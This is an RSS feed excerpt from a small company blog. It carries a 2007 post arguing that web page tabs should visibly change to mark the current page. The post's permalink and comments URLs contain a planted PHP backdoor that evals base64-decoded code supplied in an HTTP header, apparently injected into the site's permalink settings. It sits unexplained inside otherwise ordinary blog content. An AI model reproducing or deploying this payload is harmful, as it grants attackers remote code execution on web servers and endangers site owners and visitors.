Goodtree & Company :: Blog » wmbdb http://goodtreecompany.com/wordpress Adventures in New Media Mon, 09 Aug 2010 04:59:59 +0000 http://wordpress.org/?v=2.5 en The Color of Tabs http://goodtreecompany.com/wordpress/2007/07/05/the-color-of-tabs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://goodtreecompany.com/wordpress/2007/07/05/the-color-of-tabs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 05 Jul 2007 16:20:47 +0000 Hal http://online-copywriter.com/wordpress/2007/07/05/the-color-of-tabs/ Semantics - such a funny word.

se man tics - noun 1.a. the study of meaning.
- Dictionary.com

When is a particular design choice simple and functional and when does it crossover into being self-absorbed minimalism? We’re talking about web page tabs.

We’ve noticed two schools of thought regarding the coloration of web page tabs:

  1. Tabs that show a change to indicate a live page
  2. Tabs that don’t show a change to indicate a live page

WMBDB (we may be dinosuars but), we like to know what page we are on. We don’t like to hunt around for basic info - is it in the address bar? in the title bar?

SO: Tabs which change to show a live page are simple and functional. Tabs which leave a viewer searching for the information are just minimal.

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